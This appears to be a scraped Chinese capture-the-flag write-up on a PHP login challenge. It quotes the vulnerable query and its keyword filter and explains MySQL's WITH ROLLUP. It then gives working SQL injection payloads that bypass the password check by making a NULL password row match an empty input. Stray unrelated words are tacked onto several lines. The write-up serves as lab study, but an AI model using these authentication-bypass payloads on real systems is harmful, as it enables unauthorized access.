就一道ctf題分析php
http://ctf5.shiyanbar.com/web/pcat/index.phpmysql
打開一看是個登錄框,首先想到的是盲注,查看源代碼,有個源文件,web
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
if (mysql_num_rows($query) == 1) {
if($key['pwd'] == $_POST['pwd'])
這幾處是關鍵,基本上過濾完了,很差注入,見有大佬用like 注入查詢出了密碼,
這題是讓客戶端的pwd和服務器端的pwd相等便得出flag,
sql中有一個with rollup是用來在分組統計數據的基礎上再進行統計彙總,即用來獲得group by的彙總信息;
沒有with roll對的sql查詢
mysql> select count(*),sage from age group by sage;
+----------+------+
| count(*) | sage |
+----------+------+
| 2 | 20 |
| 3 | 21 |
| 3 | 22 |
+----------+------+
3 rows in set (0.00 sec)sql
帶with roll的查詢服務器
mysql> select count(*),sage from age group by sage with rollup;
+----------+------+
| count(*) | sage |
+----------+------+
| 2 | 20 |
| 3 | 21 |
| 3 | 22 |
| 8 | NULL |
+----------+------+
4 rows in set (0.00 sec)函數
所以這題利用with rollup使得空=null,這樣能夠繞過密碼登錄spa
if (mysql_num_rows($query) == 1)這裏就過不了.net
首先繞過這個用戶名,rest
uname=ad' || 1 limit 1 #&pwd=code
出了 亦可賽艇! 說明成功突破第一層防線
uname=admin' || 1 limit 1 offset 1 #&pwd=
一樣 **亦可賽艇! **,這點很關鍵,說明裏面不止一個用戶,待會會用到這個。能夠把offset(https://blog.csdn.net/yplee_8/article/details/52252549)的值改一下確認只有兩個用戶
接下來就是如何繞過pwd了,其實就是關鍵字 with rollup 他常常和group by搭配,用來統計。使用了with rollup數據會多一列,顯示統計信息。
uname=ad' || 1 group by pwd with rollup limit 1 offset 2 #&pwd=
group by pwd 是按照pwd來分組,此處是爲了搭配 with rollup使用
with rollup 統計pwd組的信息
多出的那一行的pwd列只能是NULL
NULL和空字符串是相等的。成功繞過